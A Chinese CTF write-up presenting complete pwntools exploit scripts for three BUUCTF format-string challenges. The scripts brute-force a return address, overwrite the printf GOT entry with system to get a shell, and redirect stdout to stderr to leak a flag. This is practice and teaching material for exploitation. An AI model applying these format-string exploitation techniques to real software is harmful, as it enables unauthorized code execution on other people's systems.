BUUCTF-PWN刷題記錄-18(格式化字符串漏洞)

xman_2019_format(字符串位於堆上)

在這裏插入圖片描述

一道格式化字符串題目,但是隻有一次輸入機會,但是有多次利用機會,每次利用使用‘|’隔開
在這裏插入圖片描述
我們先看一下棧的情況
在這裏插入圖片描述

在這裏插入圖片描述

經過多次調試,可以發現返回地址最低一個16進制位一定爲0xC,我們只需要爆破倒數第二個16進制位就能得到指向返回地址的棧上地址

Exp:

from pwn import *

#r = remote("node3.buuoj.cn", 25958)
#r = process("./xman_2019_format")
DEBUG = 0
if DEBUG:
	gdb.attach(r,
	'''
	b *0x080485F6
	b *0x08048606
	c
	''')
context(arch = 'amd64', os= 'linux')
elf = ELF("./xman_2019_format")
libc = ELF("./libc/libc-2.23.so")

backdoor = 0x080485AB

def pwn():
	r.recvuntil("...\n") #%10$hhn 18$
	#payload = '%10$p:%18$p'
	#0x5c = 92	0x85ab=34219
	payload = '%92c%10$hhn|%34219c%18$hn'
	r.sendline(payload)
	sleep(2)
	r.sendline('ls')
	r.interactive()

if __name__ == "__main__":
	#pwn()

	while True:
		r = remote("node3.buuoj.cn", 25958)
		try:
			pwn()
		except:
			r.close()

hitcontraining_playfmt(字符串位於bss)

在這裏插入圖片描述
一個循環的格式化字符串漏洞
在這裏插入圖片描述
利用過程和SWPUCTF_2019_login一樣,具體原理看那篇文章即可

Exp:

from pwn import *


r = remote("node3.buuoj.cn", 25517)
#r = process("./hitcontraining_playfmt")

elf = ELF("./hitcontraining_playfmt")
libc = ELF('./libc/libc-2.23_32.so')
printf_got = 0x0804A010
old_addr = 0x0804B080
# printf:0xf7d7b2d0 system:0xf7d67200
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *0x0804854F
    c
    ''')

r.recvuntil("=====================\n")
r.recvuntil("=====================\n") #6 rbp 9 GOT 10 6->10
payload = "%6$p\n%15$p"
r.sendline(payload)
rbp = int(r.recvuntil('\n').strip(), 16)
success("rbp:"+hex(rbp))
start_main = int(r.recvuntil('\n').strip(), 16) - 247
libc.address = start_main - libc.sym['__libc_start_main']
system = libc.sym['system']
success("libc:"+hex(libc.address))

raw_input()
got_addr = rbp - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)

raw_input()
num = printf_got & 0xFF
payload = '%' + str(num) + 'c%10$hhn'
r.sendline(payload)

raw_input()
got_addr = rbp - 8 - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)

raw_input()
num = (printf_got+2) & 0xFFFF
payload = '%' + str(num) + 'c%10$hn'
r.sendline(payload)

raw_input()
num1 = system&0xFFFF
num2 = (system>>16)-num1
print hex(num1), ',', hex(num2)
payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn'
r.sendline(payload)

raw_input()
payload = "/bin/sh"
r.sendline(payload)

r.interactive()

wustctf2020_babyfmt

在這裏插入圖片描述
一道特別的格式化字符串漏洞題目
在這裏插入圖片描述
功能分別是leak,格式化字符串漏洞,輸出flag
在這裏插入圖片描述
leak功能是輸入一個地址,輸出一個字節的數據,只有一次
但是這題有一個很坑爹的地方,就是這個一個字節的數據不會立即輸出····
當然本題也可能不需要泄露

在這裏插入圖片描述
get_flag需要輸入一串字符,和secret比較,相同才能輸出flag,但是輸出flag之前會先把stdout關了

在這裏插入圖片描述
程序還會詢問一個時間,而這個函數正是泄露elf_base的關鍵函數

漏洞利用:

  1. 在詢問時間時,發送字母過去,因爲不符合%ld,因此棧不會被修改,輸出時就能把棧上的信息泄露出來,而v2就是elf_base+0xbd5的地址
  2. 利用leak泄露出stderr的倒數第二byte的值,這樣就不用爆破了(這是官方WP的做法,但是我這裏調試不通,因爲這一個byte不能立即輸出,所以這步可以跳過)
  3. 利用格式化字符串漏洞把secret地址處寫入0,這樣strcmp就能成功,然後把bss上面的stdout處存放的地址改爲stderr的,這樣flag才能輸出
    原理如下圖:
    在這裏插入圖片描述
    因爲printf會需要stdout的指針,這個指針保存在bss上,而雖然stdout被關閉,stderr卻可以用,我們把stdout處的指針改爲stderr的,就能輸出flag了

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 27225)
#r = process("./wustctf2020_babyfmt")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xFEA)
	b *$rebase(0xECC)
	x/10gx $rebase(0x202020)
	c
	''')
	#pause()

elf = ELF("./wustctf2020_babyfmt")
libc = ELF('./libc/libc-2.23.so')

menu = ">>"
def leak(addr):
	r.recvuntil(menu)
	r.sendline('1')
	#sleep(1)
	raw_input()
	r.send(addr)

def fmt(s):
	r.recvuntil(menu)
	r.sendline('2')
	#sleep(1)
	raw_input()
	r.send(s)

def flag():
	r.recvuntil(menu)
	r.sendline('3')

r.recvuntil("tell me the time:")
r.sendline('a')
r.sendline('a')
r.sendline('a')
r.recvuntil("ok! time is ")
num1 = int(r.recvuntil(':')[:-1])
elf_base = int(r.recvuntil(':')[:-1]) - 0xBD5
num3 = int(r.recvuntil('\n').strip())
success("num1:"+hex(num1))
success("elf:"+hex(elf_base))
success("num3:"+hex(num3))
#stdout:0x00007f9770e5d620 	stderr:0x00007f9770e5d540
secret = 0x202060 + elf_base
stderr = 0x202040 + elf_base
stdout = 0x202020 + elf_base

leak(p64(stderr+1))
#leak_num = (ord(r.recv(1))<<8) + 0x40 #這個是官方WP的做法
leak_num = (ord('\xe5')<<8) + 0x40

#%8$
payload = '%11$hn%' + str(leak_num) + 'c%12$hn' 
payload = payload.ljust(24, 'a') + p64(secret) + p64(stdout)
fmt(payload)

flag()
r.send('\x00'*0x40)
r.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章